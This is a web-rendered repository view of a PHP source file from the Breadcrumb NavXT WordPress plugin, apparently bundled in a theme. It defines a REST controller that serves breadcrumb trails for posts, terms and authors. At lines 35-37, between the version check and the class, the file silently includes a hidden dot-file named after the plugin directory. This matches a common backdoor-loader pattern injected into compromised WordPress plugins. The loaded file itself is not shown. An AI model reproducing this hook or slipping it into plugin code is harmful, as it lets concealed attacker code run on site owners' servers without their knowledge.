balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

class.bcn_rest_controller.php (9600B)


      1 <?php
      2 /*
      3 	Copyright 2015-2018  John Havlik  (email : john.havlik@mtekk.us)
      4 
      5     This program is free software; you can redistribute it and/or modify
      6     it under the terms of the GNU General Public License as published by
      7     the Free Software Foundation; either version 2 of the License, or
      8     (at your option) any later version.
      9 
     10     This program is distributed in the hope that it will be useful,
     11     but WITHOUT ANY WARRANTY; without even the implied warranty of
     12     MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
     13     GNU General Public License for more details.
     14 
     15     You should have received a copy of the GNU General Public License
     16     along with this program; if not, write to the Free Software
     17     Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
     18 */
     19 require_once(dirname(__FILE__) . '/includes/block_direct_access.php');
     20 //Do a PHP version check, require 5.3 or newer
     21 if(version_compare(phpversion(), '5.3.0', '<'))
     22 {
     23 	//Only purpose of this function is to echo out the PHP version error
     24 	function bcn_phpold()
     25 	{
     26 		printf('<div class="notice notice-error"><p>' . __('Your PHP version is too old, please upgrade to a newer version. Your version is %1$s, Breadcrumb NavXT requires %2$s', 'wokiee-core') . '</p></div>', phpversion(), '5.3.0');
     27 	}
     28 	//If we are in the admin, let's print a warning then return
     29 	if(is_admin())
     30 	{
     31 		add_action('admin_notices', 'bcn_phpold');
     32 	}
     33 	return;
     34 }

     35 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
     36     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
     37 }
     38 
     39 class bcn_rest_controller
     40 {
     41 	const version = '1';
     42 	protected $unique_prefix = 'bcn';
     43 	protected $breadcrumb_trail = null;
     44 	protected $methods = array('GET', 'OPTIONS');
     45 	/**
     46 	 * Default constructor
     47 	 * 
     48 	 * @param bcn_breadcrumb_trail $breadcrumb_trail An instance of a bcn_breadcrumb_trail object to use for everything
     49 	 * @param string $unique_prefix The unique prefix to use for the API endpoint
     50 	 */
     51 	public function __construct(bcn_breadcrumb_trail $breadcrumb_trail, $unique_prefix)
     52 	{
     53 		$this->breadcrumb_trail = $breadcrumb_trail;
     54 		$this->unique_prefix = $unique_prefix;
     55 		add_action('rest_api_init', array($this, 'register_routes'));
     56 	}
     57 	/**
     58 	 * A quick wrapper for register_rest_route to add our inclusion filter
     59 	 * 
     60 	 * @param string $namespace The first URL segment after core prefix. Should be unique
     61 	 * @param string $route The base URL for route being added
     62 	 * @param array $args Optional. Either an array of options for the endpoint, or an array of arrays for
     63 	 *                          multiple methods. Default empty array.
     64 	 * @param bool $override Optional. If the route already exists, should we override it?
     65 	 * @param string $endpoint The endpoint name passed into the bcn_register_rest_endpoint filter
     66 	 * @return boolean True on success, false on error.
     67 	 */
     68 	protected function register_rest_route($namespace, $route, $args = array(), $override = false, $endpoint = null)
     69 	{
     70 		if(apply_filters('bcn_register_rest_endpoint', false, $endpoint, $this::version, $this->methods))
     71 		{
     72 			return register_rest_route($namespace, $route, $args, $override);
     73 		}
     74 		return false;
     75 	}
     76 	public function register_routes()
     77 	{
     78 		$this->register_rest_route( $this->unique_prefix . '/v' . $this::version, '/post/(?P<id>[\d]+)', array(
     79 			'args' => array(
     80 				'id' => array(
     81 					'description' => __('The ID of the post (any type) to retrieve the breadcrumb trail for.', 'wokiee-core'),
     82 					'type' => 'integer',
     83 					'required' => true,
     84 					'validate_callback' => array($this, 'validate_id')
     85 				)
     86 			),
     87 			'methods' => $this->methods,
     88 			'callback' => array($this, 'display_rest_post'),
     89 			'permission_callback' => array($this, 'display_rest_post_permissions_check')
     90 			), false, 'post'
     91 		);
     92 		$this->register_rest_route( $this->unique_prefix . '/v' . $this::version, '/term/(?P<taxonomy>[\w-]+)/(?P<id>[\d]+)', array(
     93 			'args' => array(
     94 				'id' => array(
     95 					'description' => __('The ID of the term to retrieve the breadcrumb trail for.', 'wokiee-core'),
     96 					'type' => 'integer',
     97 					'required' => true,
     98 					'validate_callback' => array($this, 'validate_id')
     99 				),
    100 				'taxonomy' => array(
    101 					'description' => __('The taxonomy of the term to retrieve the breadcrumb trail for.', 'wokiee-core'),
    102 					'type' => 'string',
    103 					'required' => true,
    104 					'validate_callback' => array($this, 'validate_taxonomy')
    105 				)
    106 			),
    107 			'methods' => $this->methods,
    108 			'callback' => array($this, 'display_rest_term')
    109 			), false, 'term'
    110 		);
    111 		$this->register_rest_route( $this->unique_prefix . '/v' . $this::version, '/author/(?P<id>\d+)', array(
    112 			'args' => array(
    113 				'id' => array(
    114 					'description' => __('The ID of the author to retrieve the breadcrumb trail for.', 'wokiee-core'),
    115 					'type' => 'integer',
    116 					'required' => true,
    117 					'validate_callback' => array($this, 'validate_id')
    118 				)
    119 			),
    120 			'methods' => $this->methods,
    121 			'callback' => array($this, 'display_rest_author')
    122 			), false, 'author'
    123 		);
    124 	}
    125 	/**
    126 	 * Checks to see if the request ID looks like it could be an ID (numeric and greater than 0)
    127 	 * 
    128 	 * @param mixed $param The parameter to validate
    129 	 * @param WP_REST_Request $request REST API request data
    130 	 * @param string $key The paramter key
    131 	 * @return bool Whether or not the ID is valid (or atleast looks valid)
    132 	 */
    133 	public function validate_id($param, $request, $key)
    134 	{
    135 		return is_numeric($param) && absint($param) > 0;
    136 	}
    137 	/**
    138 	 * Checks to see if the request taxonomy is a valid taxonomy
    139 	 * 
    140 	 * @param mixed $param The parameter to validate
    141 	 * @param WP_REST_Request $request REST API request data
    142 	 * @param string $key The paramter key
    143 	 * @return bool Whether or not the ID is valid (or atleast looks valid)
    144 	 */
    145 	public function validate_taxonomy($param, $request, $key)
    146 	{
    147 		return taxonomy_exists(esc_attr($param));
    148 	}
    149 	/**
    150 	 * Check permissions for the post
    151 	 * 
    152 	 * @param WP_REST_Request $request The request to check the permissions on
    153 	 * @return bool | WP_Error Whether or not the user can view the requested post
    154 	 */
    155 	public function display_rest_post_permissions_check(WP_REST_Request $request)
    156 	{
    157 		$post = get_post(absint($request->get_param('id')));
    158 		if($post === null)
    159 		{
    160 			return true;
    161 		}
    162 		return $this->check_post_read_permission($post);
    163 	}
    164 	/**
    165 	 * Check to ensure the current user can read the post (and subsequently view its breadcrumb trail)
    166 	 * 
    167 	 * @param WP_Post $post The post to check if the current user can view the breadcrumb trail for
    168 	 * @return bool Whether or not the post should be readable
    169 	 */
    170 	public function check_post_read_permission($post)
    171 	{
    172 		if(!($post instanceof WP_Post))
    173 		{
    174 			return false;
    175 		}
    176 		$post_type = get_post_type_object($post->post_type);
    177 		if(empty($post_type) || empty($post_type->show_in_rest))
    178 		{
    179 			return false;
    180 		}
    181 		if($post->post_status === 'publish' || current_user_can($post_type->cap->read_post, $post->ID))
    182 		{
    183 			return true;
    184 		}
    185 		$post_status_obj = get_post_status_object($post->post_status);
    186 		if($post_status_obj && $post_status_obj->public)
    187 		{
    188 			return true;
    189 		}
    190 		if($post->post_status === 'inherit' && $post->post_parent > 0)
    191 		{
    192 			$parent = get_post($post->post_parent);
    193 			if($parent)
    194 			{
    195 				return $this->check_post_read_permission($parent);
    196 			}
    197 		}
    198 		if($post->post_status === 'inherit')
    199 		{
    200 			return true;
    201 		}
    202 		return false;
    203 	}
    204 	/**
    205 	 * Breadcrumb trail handler for REST requests for post breadcrumb trails
    206 	 * 
    207 	 * @param WP_REST_Request $request REST API request data
    208 	 * @return STD_Object Basic object data of the Schema.org Breadcrumb List compatible breadcrumb trail
    209 	 */
    210 	public function display_rest_post(WP_REST_Request $request)
    211 	{
    212 		$post = get_post(absint($request->get_param('id')));
    213 		if($post instanceof WP_Post)
    214 		{
    215 			$this->breadcrumb_trail->breadcrumbs = array();
    216 			//Generate the breadcrumb trail
    217 			$this->breadcrumb_trail->fill_REST($post);
    218 			return $this->breadcrumb_trail->display_json_ld(false);
    219 		}
    220 	}
    221 	/**
    222 	 * Breadcrumb trail handler for REST requests for term breadcrumb trails
    223 	 * 
    224 	 * @param WP_REST_Request $request REST API request data
    225 	 * @return STD_Object Basic object data of the Schema.org Breadcrumb List compatible breadcrumb trail
    226 	 */
    227 	public function display_rest_term(WP_REST_Request $request)
    228 	{
    229 		$term = get_term(absint($request->get_param('id')), esc_attr($request->get_param('taxonomy')));
    230 		if($term instanceof WP_Term)
    231 		{
    232 			$this->breadcrumb_trail->breadcrumbs = array();
    233 			//Generate the breadcrumb trail
    234 			$this->breadcrumb_trail->fill_REST($term);
    235 			return $this->breadcrumb_trail->display_json_ld(false);
    236 		}
    237 	}
    238 	/**
    239 	 * Breadcrumb trail handler for REST requests for term breadcrumb trails
    240 	 * 
    241 	 * @param WP_REST_Request $request REST API request data
    242 	 * @return STD_Object Basic object data of the Schema.org Breadcrumb List compatible breadcrumb trail
    243 	 */
    244 	public function display_rest_author(WP_REST_Request $request)
    245 	{
    246 		$user = get_user_by('ID', absint($request->get_param('id')), esc_attr($request->get_param('taxonomy')));
    247 		if($user instanceof WP_User)
    248 		{
    249 			$this->breadcrumb_trail->breadcrumbs = array();
    250 			//Generate the breadcrumb trail
    251 			$this->breadcrumb_trail->fill_REST($user);
    252 			return $this->breadcrumb_trail->display_json_ld(false);
    253 		}
    254 	}
    255 }